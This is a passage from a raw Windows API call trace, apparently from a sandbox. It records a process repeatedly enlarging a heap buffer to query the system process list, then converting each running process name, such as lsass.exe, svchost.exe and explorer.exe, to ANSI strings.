0xc0000004 [0078.172] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0078.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.172] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0078.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.172] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0078.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.173] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0078.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.173] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0078.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.173] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0078.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.174] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0078.174] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.174] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0078.174] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.174] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0078.174] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.175] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0078.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.175] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0078.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.175] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0078.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.176] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0078.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.176] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0078.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.177] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0078.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.177] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0078.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.177] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0078.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.178] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0078.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.178] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0078.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.179] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0078.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.179] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0078.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.179] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0078.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.180] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0078.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.180] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0078.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.181] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0078.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.182] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1e438) returned 0x3177e48 [0078.182] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.182] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1f45c) returned 0x3177e48 [0078.182] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.182] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x20480) returned 0x3177e48 [0078.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.183] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x214a4) returned 0x3177e48 [0078.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0078.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0078.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175ac8 [0078.184] RtlFreeAnsiString (AnsiString="System") [0078.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175ac8) returned 1 [0078.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0078.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e08 [0078.184] RtlFreeAnsiString (AnsiString="smss.exe") [0078.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0078.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0078.184] RtlFreeAnsiString (AnsiString="csrss.exe") [0078.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0078.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0078.184] RtlFreeAnsiString (AnsiString="wininit.exe") [0078.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0078.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0078.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0078.184] RtlFreeAnsiString (AnsiString="csrss.exe") [0078.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0078.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0078.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0078.185] RtlFreeAnsiString (AnsiString="winlogon.exe") [0078.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0078.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0078.185] RtlFreeAnsiString (AnsiString="services.exe") [0078.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0078.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0078.185] RtlFreeAnsiString (AnsiString="lsass.exe") [0078.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0078.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0078.185] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0078.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0078.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161da8 [0078.185] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0078.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0078.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0078.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0078.185] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0078.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0078.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0078.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0078.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0078.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175b08 [0078.186] RtlFreeAnsiString (AnsiString="dwm.exe") [0078.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175b08) returned 1 [0078.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0078.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0078.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0078.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0078.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0078.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0078.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0078.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0078.187] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0078.187] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0078.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0078.187] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0078.187] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0078.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0078.187] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0078.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0078.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0078.187] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0078.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0078.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0078.187] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0078.188] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0078.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0078.188] RtlFreeAnsiString (AnsiString="audiodg.exe") [0078.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0078.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0078.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e38 [0078.188] RtlFreeAnsiString (AnsiString="sihost.exe") [0078.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0078.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0078.188] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0078.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e20 [0078.188] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0078.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0078.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0078.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0078.188] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0078.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0078.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0078.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0078.189] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0078.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0078.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0078.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0078.189] RtlFreeAnsiString (AnsiString="explorer.exe") [0078.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0078.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0078.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171310 [0078.189] RtlFreeAnsiString (AnsiString="Memory Compression") [0078.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0078.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0078.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171510 [0078.189] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0078.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0078.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0078.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0078.189] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0078.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0078.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x31713d0 [0078.189] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0078.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0078.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0078.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0078.190] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0078.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0078.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e38 [0078.190] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0078.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0078.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0078.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0078.190] RtlFreeAnsiString (AnsiString="UsoClient.exe") [0078.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0078.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0078.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0078.190] RtlFreeAnsiString (AnsiString="msoia.exe") [0078.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0078.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0078.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0078.190] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0078.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0078.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0078.190] RtlFreeAnsiString (AnsiString="DeviceCensus.exe") [0078.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0078.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0078.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171330 [0078.191] RtlFreeAnsiString (AnsiString="UNPCampaignManager.exe") [0078.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0078.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, 